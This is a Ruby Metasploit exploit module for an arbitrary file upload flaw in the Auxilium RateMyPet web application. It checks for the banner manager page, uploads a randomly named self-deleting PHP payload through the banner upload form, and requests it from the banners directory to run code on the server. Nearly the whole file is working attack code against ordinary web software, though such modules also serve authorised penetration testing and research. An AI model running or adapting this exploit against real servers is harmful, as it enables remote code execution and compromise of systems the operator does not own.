##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient
	include Msf::Exploit::PhpEXE

	def initialize(info={})
		super(update_info(info,
			'Name'           => "Auxilium RateMyPet Arbitrary File Upload Vulnerability",
			'Description'    => %q{
					This module exploits a vulnerability found in Auxilium RateMyPet's. The site
				banner uploading feature can be abused to upload an arbitrary file to the web
				server, which is accessible in the 'banner' directory, thus allowing remote code
				execution.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'DaOne',  # Vulnerability discovery
					'sinn3r'  # Metasploit
				],
			'References'     =>
				[
					['OSVDB', '85554'],
					['EDB', '21329']
				],
			'Payload'        =>
				{
					'BadChars' => "\x00"
				},
			'Platform'       => ['linux', 'php'],
			'Targets'        =>
				[
					[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' }  ],
					[ 'Linux x86'            , { 'Arch' => ARCH_X86, 'Platform' => 'linux'} ]
				],
			'Privileged'     => false,
			'DisclosureDate' => "Sep 14 2012",
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('TARGETURI', [true, 'The base directory to the application', '/Auxiliumpetratepro/'])
			], self.class)
	end


	def check
		uri = target_uri.path
		base = File.dirname("#{uri}.")

		res = send_request_raw({
			'uri' => normalize_uri("#{base}/admin/sitebanners/upload_banners.php")
		})
		if res and res.body =~ /\<title\>Pet Rate Admin \- Banner Manager\<\/title\>/
			return Exploit::CheckCode::Appears
		else
			return Exploit::CheckCode::Safe
		end
	end



	def upload_exec(base, php_fname, p)
		data = Rex::MIME::Message.new
		data.add_part('http://', nil, nil, "form-data; name=\"burl\"")
		data.add_part('', nil, nil, "form-data; name=\"alt\"")
		data.add_part(p, 'text/plain', nil, "form-data; name=\"userfile\"; filename=\"#{php_fname}\"")
		data.add_part(' Upload', nil, nil, "form-data; name=\"submitok\"")

		post_data = data.to_s
		post_data = post_data.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')

		print_status("#{@peer} - Uploading payload (#{p.length.to_s} bytes)...")
		res = send_request_cgi({
			'method' => 'POST',
			'uri'    => normalize_uri("#{base}/admin/sitebanners/upload_banners.php"),
			'ctype'  => "multipart/form-data; boundary=#{data.bound}",
			'data'   => post_data,
		})

		if not res
			print_error("#{@peer} - No response from host")
			return
		end

		print_status("#{@peer} - Requesting '#{php_fname}'...")
		res = send_request_raw({'uri'=>normalize_uri("#{base}/banners/#{php_fname}")})
		if res and res.code == 404
			print_error("#{@peer} - Upload unsuccessful: #{res.code.to_s}")
			return
		end

		handler
	end


	def exploit
		@peer = "#{rhost}:#{rport}"

		uri = normalize_uri(target_uri.path)
		uri << '/' if uri[-1,1] != '/'
		base = File.dirname("#{uri}.")

		php_fname =  "#{Rex::Text.rand_text_alpha(5)}.php"

		p = get_write_exec_payload(:unlink_self=>true)

		upload_exec(base, php_fname, p)
	end
end
